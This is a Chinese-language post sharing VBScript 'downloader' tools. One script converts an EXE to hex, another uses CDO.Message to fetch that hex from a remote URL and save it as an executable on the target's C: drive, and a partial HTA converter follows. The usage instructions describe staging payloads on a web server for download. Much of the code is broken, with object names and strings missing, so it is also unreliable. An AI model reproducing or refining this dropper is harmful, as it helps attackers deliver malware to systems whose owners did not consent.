最新版利用CDO.Message做的vbs下载者.docVIP

最新版利用CDO.Message做的vbs下载者 vbs下载者有很多了，我这里是一个伟大的发明，利用做的vbs下载者。伟大是装B的意思。 NP先把代码写完了，详情看这里：http:///vbs_zone/blog/item/ LCX大哥在写他的BLOG备份脚本时发现 可以访问网络下载东西，说是研究研究或许可以用来当下载者用。 于是研究了一会。写出个粗糙的DEMO。 //xiaolu写的exe2vbs ，我修改成直接拖放,转成十六进制 ================================================ 代码如下: ‘code by xiaolu ‘change by NetPatch on error resume next set arg= if =0 then do while 1 fname=arg(0) =0 Set Ado = CreateObject(““) With Ado .Type = 1 .open .loadfromfile fname ss = .read End With if 0 then if msgbox(“文件打开错误!”,1,”File2VBS”)=2 then else exit do end if loop if fname=““ then Set Fso=CreateObject(““) Set File=(arg(0)”.htm”,2, True) Bin2Str(ss) Set fso=nothing set Abo=nothing Function Bin2Str(Re) For i = 1 To lenB(Re) bt = AscB(MidB(Re, i, 1)) if bt Bin2Str=Bin2Str Hex(bt) Next End Function ====================================== 下载者 ============= 代码如下: on error resume next set arg= if =0 then ‘code by NetPatch ‘cscript http:/// c:\ Set Mail1 = CreateObject(““) arg(0),31 ss= Set Mail1 = Nothing Set RS=CreateObject(““) L=Len(ss)/2 “m”,205,L : RS(“m”)=ssChrB(0) ss=RS(“m”).GetChunk(L) Set s=CreateObject(““) with s .Mode = 3 .Type = 1 .Open() .Write ss .SaveToFile arg(1),2 end with ================================== 内容时用转EXE后获得的 使用方法： 把exe转成十六进制，放到网络上 http://xxx/ c:\ 由于NP写的不知什么原因，在我机器上执行后生成的exe，进程不会自动退出，我重新更新一下。 ＝＝＝＝＝＝＝用下面这个hta文件来转exe变成16进制的html保存了。这样也会方便一点。＝＝＝＝＝＝＝ 代码如下: package file ID=“package file “ APPLICATIONNAME=“package file “ VERSION=““ SCROLL=“no” INNERBORDER=“no” CONTEXTMENU=“yes” CAPTION=“yes” ICON=“no” SHOWINTASKBAR=“yes” SINGLEINSTANCE=“yes” SYSMENU=“yes” MAXIMIZEBUTTON =“no” WINDOWSTATE=“normal” NAVIGABLE=“yes” / function transfert() dim filename f